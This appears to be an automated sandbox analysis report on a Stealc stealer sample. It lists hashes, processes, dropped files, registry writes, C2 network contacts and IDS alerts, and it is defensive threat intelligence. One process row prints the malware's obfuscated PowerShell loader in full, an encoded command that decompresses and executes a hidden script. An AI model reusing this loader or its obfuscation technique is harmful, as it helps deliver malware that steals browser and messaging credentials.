| File name: | tstrar.exe |
| Full analysis: | https://app.any.run/tasks/5aac0470-68ad-4402-92a8-69b2aa111d64 |
| Verdict: | Malicious activity |
| Threats: | Stealc is a stealer malware that targets victims’ sensitive data, which it exfiltrates from browsers, messaging apps, and other software. The malware is equipped with advanced features, including fingerprinting, control panel, evasion mechanisms, string obfuscation, etc. Stealc establishes persistence and communicates with its C2 server through HTTP POST requests. |
| Analysis date: | May 15, 2025, 23:50:20 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections |
| MD5: | D7AA66F36FEBC461C62D08DCBAB34C8E |
| SHA1: | A32987F42321F2EE68B848E4AB988790015080F2 |
| SHA256: | A6EC31E857DFA13961757B5C2590E2A8EA1ABFC3A0391953890B77D833206967 |
| SSDEEP: | 49152:DS+pYd6n+NXXKgZ3RLKjg75psAij0N/FVYAOrwcXtVfSGlvwf8I8sKQTJURA4WPj:DS6YEnaXKA3Rm074AioRn3Iw4HSGCUIt |
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2010:04:10 12:19:23+00:00 |
| ImageFileCharacteristics: | No relocs, Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 9 |
| CodeSize: | 25600 |
| InitializedDataSize: | 431104 |
| UninitializedDataSize: | 16896 |
| EntryPoint: | 0x33e9 |
| OSVersion: | 5 |
| ImageVersion: | 6 |
| SubsystemVersion: | 5 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 208 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffc894cdc40,0x7ffc894cdc4c,0x7ffc894cdc58 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| 672 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3020 --field-trial-handle=1984,i,1953288166528297045,6325393706896962382,262144 --variations-seed-version /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| 1012 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ffc894cdc40,0x7ffc894cdc4c,0x7ffc894cdc58 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| 1056 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3624 --field-trial-handle=2344,i,3912520296229811536,16009336144356336571,262144 --variations-seed-version /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| 1328 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1660 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3224 --field-trial-handle=2344,i,3912520296229811536,16009336144356336571,262144 --variations-seed-version /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| 1748 | C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUAOQA1ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABhAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgAQgBCADgALgB0AG0AcAAnADsAIAAmACgAIAAkAHMAaABFAGwAbABpAGQAWwAxAF0AKwAkAFMASABFAEwAbABJAEQAWwAxADMAXQArACcAeAAnACkAKAAgAG4ARQB3AC0AbwBCAGoARQBDAFQAIAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQAgAFsAYwBPAG4AdgBFAHIAdABdADoAOgBmAHIAbwBNAEIAQQBTAEUANgA0AHMAdAByAGkAbgBHACgAJwBwAFYAVABSAGIAdABvAHcARgBIADIAdgB4AEQAOQA0AGkASQBkAEUATQBzAGkAagBhAEoAcQBLAEkAcABXAEcAZABxAHYAVQBhAGgAVgAwAFcAegBYAEUAZwAwAGwAdQBTAFQAVABIAGoAaAB5AG4ARABTAHYANwA5ADkAMABrAFoAbwBVAHUARwAwAFYANwBpAGUAKwBOADcAWABQAHUAOQBUAG4AMgBLAEEAeQA3AHQANgBzAFUAUwBQAFUAZAB3ADMAMABzAFkAeABNAHIAUwBVADcAYgByAGEATQA4AGkAKwBXAFMAVABGAGUAWgBnAFcAUgBJAHQAcgBQAGUASgBKAGMAbQBUAHEAQgAzAEsAUQAxAG8AbABVADUAQgBQADgAUQBCAFoATQBQAFcAVQBaAG8AdgBSAEIAeQBRAFEAUABBAHMASQAzAGQAUABKAEYAQQB5AE0AeQBTAFAAcABTAEUAagBqAHgAVwBNAHMAVAA0ADkASwA0AE0AQgBZADkAUwB2AC8ANwB5AG4ANAB5AHIAbwBNADMAcABlAEIAVwA4AFoASQBzADMARwBRAGwAdwBtAHEAZABMAEcAYQBYADgASABMAFUARQBjADkAOQB2AHUAUABEAFAAYwBJAEEARQBVAHkAQwB3AEoARgBuAEIAagBOAFAAbQBVAGcAcgB6AFIAQwBrAHYASQBuAEkAcQByAG8AQQB1AGwAQgBGAG4AUgBLAHYAdgBoAHYAaABhAHYAMgB1AFUATABsAGMARgBIAEwAawBNAEIAagBpAFUAbwBYAG8AMQBnAE4AMwB5AEoAdABjAG0ANQBHAEEAbQBoAGcAdgBQAGkATgB3AHkAMQB3AGEAYQB3AGUAdQBEADEAcwBEAGkAcwB6AEsAOAA2AE4AbQBDADcAdgBvAFoARQA2AFYAVQBEAHoAVwBKAGwAWQBEAFoALwBKAGwASwA1AFYAZQBOAEEATQB0AHMAUAAwAGgAawBJAFQARwBOAEgAbgAyADMAMAAzADEAdwBYAEkAcwArAGkAUwAvAFMATgB6AG8AUABTAGoAVAA0AFAASQB2AGcAWAA0AGEASABpACsAQgBxADQAZwBRAG0AZQBtAFkASABiAEMASgBQAHcANwB3AEwAWgBuAEcAKwBDAFIAVAAwAFIAYgBQAEwAUQBmAFgAYQA5AEoAYQB1AGEAbQBOAFIARwBUAEQAYwBLAGgATwA2AFQAMwBSAEYANQAyADMAWQBkAHIAYwAvAFcALwBuAHEAOABQAHEAZgAzAFgARwBSAEEAMAB4AEkAdgB2AG4AYwBpAHoANgB2AFgAOQA3ADcAaABGAFgATQAxAG0AQgB3AGIAcQBOAFkATQBMAFYARABpAHYAWABCAFoAUgBMAGUAMgAwAEsAbwBBAE4AKwB4AGQAZwBWAHkAYQBpAEwATABpAEcATwAvAGEAbQBoAFYAOQBIAEQAQQBiAE0ATQB1AFUANwBEAEkAOQBiAGQAcwAvAGMAbwBjADcAegBEACsAcgBwAHQAUwBRADQATAA0ADMAZgAzAGcAaQBvAGcAbAAxAHIAQwByAGIAeABBAE4AVwBlAFUARwA1AGUAOABEAHgAegBTAG4AaABIADQAYwBsAGUAbwBPADkAUwAvAHoAdwBaAFYAOABsADgAdQBOACsANQBCAEsAeQAyAFYAaQBOAFYAZQA4AEgAdABDAEkAWQByADgARgBOAHUAMABJAHcASgBOAGoATgB0ADgAKwA3AEYAcwBFAGMASQBrAEwAegBKAEgAYQBGAGMAMQBoAFoAKwA1AFIAMAByADcAaABjADUAbgB3AEoAeABKADkARwBYAEsAZQB0AG8AMAA3AG8AegBYAHcAbABIADAAQwBiACsAYwBuAEoAaABWAGIASgBHAGMALwBnADMAVwBCAHEATgBEADcAcwBqAHYATQBCAFQAQgBmAG4ARABhAEEAQQAzAFEAbAAvAEoASgAyAEYANgArAEsAMQB1AHMAUABWAEUAMgBkAFcAbgB2AGwAeABmADkANwBoAHQAQgBQAGkANwAxADgAPQAnACAAKQAsACAAWwBzAHkAUwBUAGUATQAuAEkAbwAuAEMATwBtAFAAcgBlAFMAcwBpAE8ATgAuAGMATwBtAHAAcgBlAFMAUwBpAE8AbgBNAG8AZABlAF0AOgA6AGQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAIAAlACAAewAgAG4ARQB3AC0AbwBCAGoARQBDAFQAIAAgAEkATwAuAHMAdABSAGUAYQBtAHIAZQBhAGQARQBSACgAIAAkAF8ALABbAFMAWQBTAFQAZQBtAC4AVABlAHgAdAAuAGUAbgBjAG8ARABpAE4ARwBdADoAOgBBAHMAYwBpAEkAIAApAH0AIAB8ACAAJQAgAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApACAAfQApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | Paradise.com | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2136 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2268 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4540 --field-trial-handle=1984,i,1953288166528297045,6325393706896962382,262144 --variations-seed-version /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| (PID) Process: | (7712) Paradise.com | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (7712) Paradise.com | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (7712) Paradise.com | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (7948) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (7948) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (7948) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (7948) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (7948) chrome.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96} |
| Operation: | write | Name: | usagestats |
Value: 0 | |||
| (PID) Process: | (7428) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (7428) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7308 | tstrar.exe | C:\Users\admin\AppData\Local\Temp\Earlier.jpg | text | |
MD5:4790A93EE88DEFD3C3D2D82665413C55 | SHA256:325EC94A07BC85883EA980C106DE80406784C3FA3A3CE2F6250C46B4227347DB | |||
| 7620 | extrac32.exe | C:\Users\admin\AppData\Local\Temp\Sweet | binary | |
MD5:D213092BEC4EDDD6EB131425ACB5E6F1 | SHA256:9313D8667510E09B6909D9B6BCFE109258044DB674E7AA6F577B5B0F33F5C00A | |||
| 7308 | tstrar.exe | C:\Users\admin\AppData\Local\Temp\Amended.jpg | binary | |
MD5:683B6133045A61DB17A6F1EA880945A6 | SHA256:3A4EC7E08500C260FA44ACEE9BF266C94345474E3DB8470ECA7CA1F84FBA526E | |||
| 7308 | tstrar.exe | C:\Users\admin\AppData\Local\Temp\Reads.jpg | binary | |
MD5:871AAEF38EB3FB0D8E707884E35252D4 | SHA256:0D49233E2E38372475E532CD67BA02DAAAB5FA505DC338E3A676302537BD4878 | |||
| 7308 | tstrar.exe | C:\Users\admin\AppData\Local\Temp\Essentially.jpg | binary | |
MD5:A1E8B52D3350C66E5B8EE799846C3600 | SHA256:8F7F059FE4E17791C0D3B82A9B68DC9EFF04B42DFED533749CA300852FBEB56B | |||
| 7348 | cmd.exe | C:\Users\admin\AppData\Local\Temp\Earlier.jpg.bat | text | |
MD5:4790A93EE88DEFD3C3D2D82665413C55 | SHA256:325EC94A07BC85883EA980C106DE80406784C3FA3A3CE2F6250C46B4227347DB | |||
| 7308 | tstrar.exe | C:\Users\admin\AppData\Local\Temp\Maui.jpg | binary | |
MD5:BC94B6E9E8022E29C2FF3696EEC00B19 | SHA256:6C972C7522E7F49F8B52DE7C806B6057B3745FB2A9E5704957AB5FD4FCBF2B3C | |||
| 7620 | extrac32.exe | C:\Users\admin\AppData\Local\Temp\Pale | binary | |
MD5:391AA30F76CD86085C2CF4F008E8E95D | SHA256:9CD79C8DB2AC4FCF80963D2DCB7235D6AB1CD008F82B006A0899FD8DC7090C0C | |||
| 7948 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF11689a.TMP | — | |
MD5:— | SHA256:— | |||
| 7948 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
7712 | Paradise.com | 149.154.167.99:443 | t.me | Telegram Messenger Inc | GB | whitelisted |
7712 | Paradise.com | 78.47.78.115:443 | 16.16.4t.com | Hetzner Online GmbH | DE | unknown |
7948 | chrome.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
5608 | chrome.exe | 172.217.18.3:443 | clientservices.googleapis.com | GOOGLE | US | whitelisted |
5608 | chrome.exe | 74.125.71.84:443 | accounts.google.com | GOOGLE | US | whitelisted |
5608 | chrome.exe | 142.250.186.68:443 | www.google.com | GOOGLE | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
AEPSyPPFEStKEK.AEPSyPPFEStKEK |
| unknown |
t.me |
| whitelisted |
16.16.4t.com |
| malicious |
clientservices.googleapis.com |
| whitelisted |
accounts.google.com |
| whitelisted |
www.google.com |
| whitelisted |
www.gstatic.com |
| whitelisted |
ogads-pa.clients6.google.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
7712 | Paradise.com | Misc activity | ET INFO Observed Telegram Domain (t .me in TLS SNI) |
— | — | A Network Trojan was detected | ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 |
— | — | Malware Command and Control Activity Detected | ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 |
— | — | Malware Command and Control Activity Detected | ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 |
— | — | Malware Command and Control Activity Detected | ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 |
— | — | A Network Trojan was detected | STEALER [ANY.RUN] Base64 Encoded SQLite Dump |
— | — | Malware Command and Control Activity Detected | ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 |